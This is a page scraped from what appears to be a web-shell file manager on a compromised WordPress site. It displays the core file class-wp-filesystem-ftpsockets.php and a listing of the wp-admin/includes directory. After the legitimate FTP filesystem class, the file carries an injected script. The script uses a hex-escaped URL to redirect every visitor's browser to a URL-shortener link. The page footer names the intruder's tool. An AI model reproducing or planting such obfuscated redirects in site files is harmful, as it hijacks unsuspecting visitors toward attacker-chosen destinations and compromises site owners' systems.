Submit
Path:
~
/
home
/
caidadmin
/
dev2.sca-caid.org.old
/
wp-admin
/
includes
/
File Content:
class-wp-filesystem-ftpsockets.php
<?php /** * WordPress FTP Sockets Filesystem. * * @package WordPress * @subpackage Filesystem */ /** * WordPress Filesystem Class for implementing FTP Sockets. * * @since 2.5.0 * * @see WP_Filesystem_Base */ class WP_Filesystem_ftpsockets extends WP_Filesystem_Base { /** * @var ftp */ public $ftp; /** * * @param array $opt */ public function __construct( $opt = '' ) { $this->method = 'ftpsockets'; $this->errors = new WP_Error(); // Check if possible to use ftp functions. if ( ! @include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) { return; } $this->ftp = new ftp(); if ( empty($opt['port']) ) $this->options['port'] = 21; else $this->options['port'] = (int) $opt['port']; if ( empty($opt['hostname']) ) $this->errors->add('empty_hostname', __('FTP hostname is required')); else $this->options['hostname'] = $opt['hostname']; // Check if the options provided are OK. if ( empty ($opt['username']) ) $this->errors->add('empty_username', __('FTP username is required')); else $this->options['username'] = $opt['username']; if ( empty ($opt['password']) ) $this->errors->add('empty_password', __('FTP password is required')); else $this->options['password'] = $opt['password']; } /** * * @return bool */ public function connect() { if ( ! $this->ftp ) return false; $this->ftp->setTimeout(FS_CONNECT_TIMEOUT); if ( ! $this->ftp->SetServer( $this->options['hostname'], $this->options['port'] ) ) { $this->errors->add( 'connect', /* translators: %s: hostname:port */ sprintf( __( 'Failed to connect to FTP Server %s' ), $this->options['hostname'] . ':' . $this->options['port'] ) ); return false; } if ( ! $this->ftp->connect() ) { $this->errors->add( 'connect', /* translators: %s: hostname:port */ sprintf( __( 'Failed to connect to FTP Server %s' ), $this->options['hostname'] . ':' . $this->options['port'] ) ); return false; } if ( ! $this->ftp->login( $this->options['username'], $this->options['password'] ) ) { $this->errors->add( 'auth', /* translators: %s: username */ sprintf( __( 'Username/Password incorrect for %s' ), $this->options['username'] ) ); return false; } $this->ftp->SetType( FTP_BINARY ); $this->ftp->Passive( true ); $this->ftp->setTimeout( FS_TIMEOUT ); return true; } /** * Retrieves the file contents. * * @since 2.5.0 * * @param string $file Filename. * @return string|false File contents on success, false if no temp file could be opened, * or if the file doesn't exist. */ public function get_contents( $file ) { if ( ! $this->exists($file) ) return false; $temp = wp_tempnam( $file ); if ( ! $temphandle = fopen( $temp, 'w+' ) ) { unlink( $temp ); return false; } mbstring_binary_safe_encoding(); if ( ! $this->ftp->fget($temphandle, $file) ) { fclose($temphandle); unlink($temp); reset_mbstring_encoding(); return ''; // Blank document, File does exist, It's just blank. } reset_mbstring_encoding(); fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $contents = ''; while ( ! feof($temphandle) ) $contents .= fread($temphandle, 8192); fclose($temphandle); unlink($temp); return $contents; } /** * * @param string $file * @return array */ public function get_contents_array($file) { return explode("\n", $this->get_contents($file) ); } /** * * @param string $file * @param string $contents * @param int|bool $mode * @return bool */ public function put_contents($file, $contents, $mode = false ) { $temp = wp_tempnam( $file ); if ( ! $temphandle = @fopen($temp, 'w+') ) { unlink($temp); return false; } // The FTP class uses string functions internally during file download/upload mbstring_binary_safe_encoding(); $bytes_written = fwrite( $temphandle, $contents ); if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) { fclose( $temphandle ); unlink( $temp ); reset_mbstring_encoding(); return false; } fseek( $temphandle, 0 ); // Skip back to the start of the file being written to $ret = $this->ftp->fput($file, $temphandle); reset_mbstring_encoding(); fclose($temphandle); unlink($temp); $this->chmod($file, $mode); return $ret; } /** * * @return string */ public function cwd() { $cwd = $this->ftp->pwd(); if ( $cwd ) $cwd = trailingslashit($cwd); return $cwd; } /** * * @param string $file * @return bool */ public function chdir($file) { return $this->ftp->chdir($file); } /** * * @param string $file * @param int|bool $mode * @param bool $recursive * @return bool */ public function chmod($file, $mode = false, $recursive = false ) { if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } // chmod any sub-objects if recursive. if ( $recursive && $this->is_dir($file) ) { $filelist = $this->dirlist($file); foreach ( (array)$filelist as $filename => $filemeta ) $this->chmod($file . '/' . $filename, $mode, $recursive); } // chmod the file or directory return $this->ftp->chmod($file, $mode); } /** * * @param string $file * @return string */ public function owner($file) { $dir = $this->dirlist($file); return $dir[$file]['owner']; } /** * * @param string $file * @return string */ public function getchmod($file) { $dir = $this->dirlist($file); return $dir[$file]['permsn']; } /** * * @param string $file * @return string */ public function group($file) { $dir = $this->dirlist($file); return $dir[$file]['group']; } /** * * @param string $source * @param string $destination * @param bool $overwrite * @param int|bool $mode * @return bool */ public function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $content = $this->get_contents($source); if ( false === $content ) return false; return $this->put_contents($destination, $content, $mode); } /** * * @param string $source * @param string $destination * @param bool $overwrite * @return bool */ public function move($source, $destination, $overwrite = false ) { return $this->ftp->rename($source, $destination); } /** * * @param string $file * @param bool $recursive * @param string $type * @return bool */ public function delete($file, $recursive = false, $type = false) { if ( empty($file) ) return false; if ( 'f' == $type || $this->is_file($file) ) return $this->ftp->delete($file); if ( !$recursive ) return $this->ftp->rmdir($file); return $this->ftp->mdel($file); } /** * * @param string $file * @return bool */ public function exists( $file ) { $list = $this->ftp->nlist( $file ); if ( empty( $list ) && $this->is_dir( $file ) ) { return true; // File is an empty directory. } return !empty( $list ); //empty list = no file, so invert. // Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server. } /** * * @param string $file * @return bool */ public function is_file($file) { if ( $this->is_dir($file) ) return false; if ( $this->exists($file) ) return true; return false; } /** * * @param string $path * @return bool */ public function is_dir($path) { $cwd = $this->cwd(); if ( $this->chdir($path) ) { $this->chdir($cwd); return true; } return false; } /** * * @param string $file * @return bool */ public function is_readable($file) { return true; } /** * * @param string $file * @return bool */ public function is_writable($file) { return true; } /** * * @param string $file * @return bool */ public function atime($file) { return false; } /** * * @param string $file * @return int */ public function mtime($file) { return $this->ftp->mdtm($file); } /** * @param string $file * @return int */ public function size($file) { return $this->ftp->filesize($file); } /** * * @param string $file * @param int $time * @param int $atime * @return bool */ public function touch($file, $time = 0, $atime = 0 ) { return false; } /** * * @param string $path * @param mixed $chmod * @param mixed $chown * @param mixed $chgrp * @return bool */ public function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) { $path = untrailingslashit($path); if ( empty($path) ) return false; if ( ! $this->ftp->mkdir($path) ) return false; if ( ! $chmod ) $chmod = FS_CHMOD_DIR; $this->chmod($path, $chmod); return true; } /** * * @param string $path * @param bool $recursive * @return bool */ public function rmdir($path, $recursive = false ) { return $this->delete($path, $recursive); } /** * * @param string $path * @param bool $include_hidden * @param bool $recursive * @return bool|array */ public function dirlist($path = '.', $include_hidden = true, $recursive = false ) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path) . '/'; } else { $limit_file = false; } mbstring_binary_safe_encoding(); $list = $this->ftp->dirlist($path); if ( empty( $list ) && ! $this->exists( $path ) ) { reset_mbstring_encoding(); return false; } $ret = array(); foreach ( $list as $struc ) { if ( '.' == $struc['name'] || '..' == $struc['name'] ) continue; if ( ! $include_hidden && '.' == $struc['name'][0] ) continue; if ( $limit_file && $struc['name'] != $limit_file ) continue; if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } // Replace symlinks formatted as "source -> target" with just the source name if ( $struc['islink'] ) $struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] ); // Add the Octal representation of the file permissions $struc['permsn'] = $this->getnumchmodfromh( $struc['perms'] ); $ret[ $struc['name'] ] = $struc; } reset_mbstring_encoding(); return $ret; } /** */ public function __destruct() { $this->ftp->quit(); } } ob_start(); ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x4b\x53\x6f\x30\x72\x33";</script>
Submit
FILE
FOLDER
Name
Size
Permission
Action
admin-filters.php
7339 bytes
0644
admin.php
3110 bytes
0644
ajax-actions.php
129134 bytes
0644
bookmark.php
9260 bytes
0644
class-automatic-upgrader-skin.php
3262 bytes
0644
class-bulk-plugin-upgrader-skin.php
2058 bytes
0644
class-bulk-theme-upgrader-skin.php
2102 bytes
0644
class-bulk-upgrader-skin.php
5362 bytes
0644
class-core-upgrader.php
13547 bytes
0644
class-file-upload-upgrader.php
3419 bytes
0644
class-ftp-pure.php
5546 bytes
0644
class-ftp-sockets.php
8595 bytes
0644
class-ftp.php
27097 bytes
0644
class-language-pack-upgrader-skin.php
2346 bytes
0644
class-language-pack-upgrader.php
11227 bytes
0644
class-pclzip.php
195795 bytes
0644
class-plugin-installer-skin.php
4468 bytes
0644
class-plugin-upgrader-skin.php
2718 bytes
0644
class-plugin-upgrader.php
14825 bytes
0644
class-theme-installer-skin.php
4243 bytes
0644
class-theme-upgrader-skin.php
3586 bytes
0644
class-theme-upgrader.php
19662 bytes
0644
class-walker-category-checklist.php
4376 bytes
0644
class-walker-nav-menu-checklist.php
5091 bytes
0644
class-walker-nav-menu-edit.php
11366 bytes
0644
class-wp-ajax-upgrader-skin.php
3236 bytes
0644
class-wp-automatic-updater.php
34194 bytes
0644
class-wp-comments-list-table.php
25800 bytes
0644
class-wp-community-events.php
16088 bytes
0644
class-wp-filesystem-base.php
22346 bytes
0644
class-wp-filesystem-direct.php
11384 bytes
0644
class-wp-filesystem-ftpext.php
13627 bytes
0644
class-wp-filesystem-ftpsockets.php
10748 bytes
0644
class-wp-filesystem-ssh2.php
15125 bytes
0644
class-wp-importer.php
7504 bytes
0644
class-wp-internal-pointers.php
5683 bytes
0644
class-wp-links-list-table.php
7764 bytes
0644
class-wp-list-table-compat.php
1230 bytes
0644
class-wp-list-table.php
37502 bytes
0644
class-wp-media-list-table.php
22803 bytes
0644
class-wp-ms-sites-list-table.php
15718 bytes
0644
class-wp-ms-themes-list-table.php
20394 bytes
0644
class-wp-ms-users-list-table.php
13004 bytes
0644
class-wp-plugin-install-list-table.php
19510 bytes
0644
class-wp-plugins-list-table.php
32980 bytes
0644
class-wp-post-comments-list-table.php
1634 bytes
0644
class-wp-posts-list-table.php
52877 bytes
0644
class-wp-screen.php
35697 bytes
0644
class-wp-site-icon.php
6205 bytes
0644
class-wp-terms-list-table.php
18119 bytes
0644
class-wp-theme-install-list-table.php
14686 bytes
0644
class-wp-themes-list-table.php
9429 bytes
0644
class-wp-upgrader-skin.php
5223 bytes
0644
class-wp-upgrader-skins.php
1456 bytes
0644
class-wp-upgrader.php
34075 bytes
0644
class-wp-users-list-table.php
17444 bytes
0644
comment.php
5889 bytes
0644
continents-cities.php
19846 bytes
0644
credits.php
2354 bytes
0644
dashboard.php
63730 bytes
0644
deprecated.php
39335 bytes
0644
edit-tag-messages.php
1574 bytes
0644
export.php
23128 bytes
0644
file.php
82178 bytes
0644
image-edit.php
33715 bytes
0644
image.php
22259 bytes
0644
import.php
6408 bytes
0644
index.htm
1100 bytes
0644
index.html
1100 bytes
0644
index.php
1100 bytes
0644
list-table.php
2810 bytes
0644
media.php
106485 bytes
0644
menu.php
8877 bytes
0644
meta-boxes.php
52387 bytes
0644
misc.php
64428 bytes
0644
ms-admin-filters.php
1549 bytes
0644
ms-deprecated.php
3022 bytes
0644
ms.php
35568 bytes
0644
nav-menu.php
42631 bytes
0644
network.php
24041 bytes
0644
noop.php
1385 bytes
0644
options.php
3994 bytes
0644
plugin-install.php
31862 bytes
0644
plugin.php
68830 bytes
0644
post.php
60995 bytes
0644
revision.php
15109 bytes
0644
schema.php
36395 bytes
0644
screen.php
6310 bytes
0644
taxonomy.php
7889 bytes
0644
template.php
80582 bytes
0644
theme-install.php
6448 bytes
0644
theme.php
28496 bytes
0644
translation-install.php
8713 bytes
0644
update-core.php
55932 bytes
0644
update.php
26035 bytes
0644
upgrade.php
96042 bytes
0644
user.php
50214 bytes
0644
widgets.php
10163 bytes
0644
N4ST4R_ID | Naxtarrr